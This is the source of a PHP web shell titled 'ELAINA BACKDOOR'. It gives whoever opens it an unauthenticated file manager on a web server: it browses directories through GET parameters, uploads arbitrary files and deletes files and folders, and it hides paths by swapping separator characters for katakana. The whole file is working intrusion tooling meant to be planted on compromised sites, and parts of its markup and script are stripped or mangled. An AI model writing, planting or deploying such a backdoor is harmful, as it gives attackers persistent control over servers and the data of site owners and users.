<html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" c> <meta name="viewport" c initial-scale=1.0"> <title>ELAINA BACKDOOR</title> <style> body { background-image: url('https://i.ibb.co/Lg1LKLw/elaina.png'); background-size: cover; background-repeat: no-repeat; background-attachment: fixed; } </style> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <?php function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . " GB"; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . " MB"; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . " KB"; } elseif ($bytes > 1) { $bytes = $bytes . " bytes"; } elseif ($bytes == 1) { $bytes = $bytes . " byte"; } else { $bytes = "0 bytes"; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, "."), 1); } function fileIcon($file) { $imgs = [ "apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp", ]; $audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"]; $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["イ", "レ", "ー", "ヌ"]; return str_replace($a, $b, $path); } function decodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["イ", "レ", "ー", "ヌ"]; return str_replace($b, $a, $path); } function uploadFile($path) { if (isset($_FILES["fileToUpload"])) { $target_file = $path . "/" . basename($_FILES["fileToUpload"]["name"]); return move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file); } return false; } $root_path = __DIR__; if (isset($_GET["p"])) { if (empty($_GET["p"])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET["p"]))) { echo "[removed]\nalert('Directory is Corrupted and Unreadable.');\n[removed].replace('?');\n[removed]"; } elseif (is_dir(decodePath($_GET["p"]))) { $p = decodePath($_GET["p"]); } } elseif (isset($_GET["q"])) { if (!is_dir(decodePath($_GET["q"]))) { echo "[removed][removed].replace('?p=');</script>"; } elseif (is_dir(decodePath($_GET["q"]))) { $p = decodePath($_GET["q"]); } } else { $p = $root_path; } define("PATH", $p); echo ' '; if (isset($_GET["p"])) { if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = []; $files = []; foreach ($fetch_obj as $obj) { if ($obj == "." || $obj == "..") { continue; } $new_obj = PATH . "/" . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo '
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
" . $folder . " | --- | " . date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " | 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " | > > | |
" . fileIcon($file) . $file . " | " . formatSizeUnits(filesize(PATH . "/" . $file)) . " | " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " | 0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . " | > > > |
" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
"; } else { echo "Sorry, there was an error uploading your file.
"; } } if (isset($_GET["d"]) && isset($_GET["q"])) { $name = PATH . "/" . $_GET["d"]; if (is_file($name)) { if (unlink($name)) { echo "[removed]alert('File removed.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]"; } else { echo "[removed]alert('Some error occurred.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]"; } } elseif (is_dir($name)) { if (rmdir($name) == true) { echo "[removed]alert('Directory removed.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]"; } else { echo "[removed]alert('Some error occurred.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]"; } } } ?> [removed][removed] </body> </html>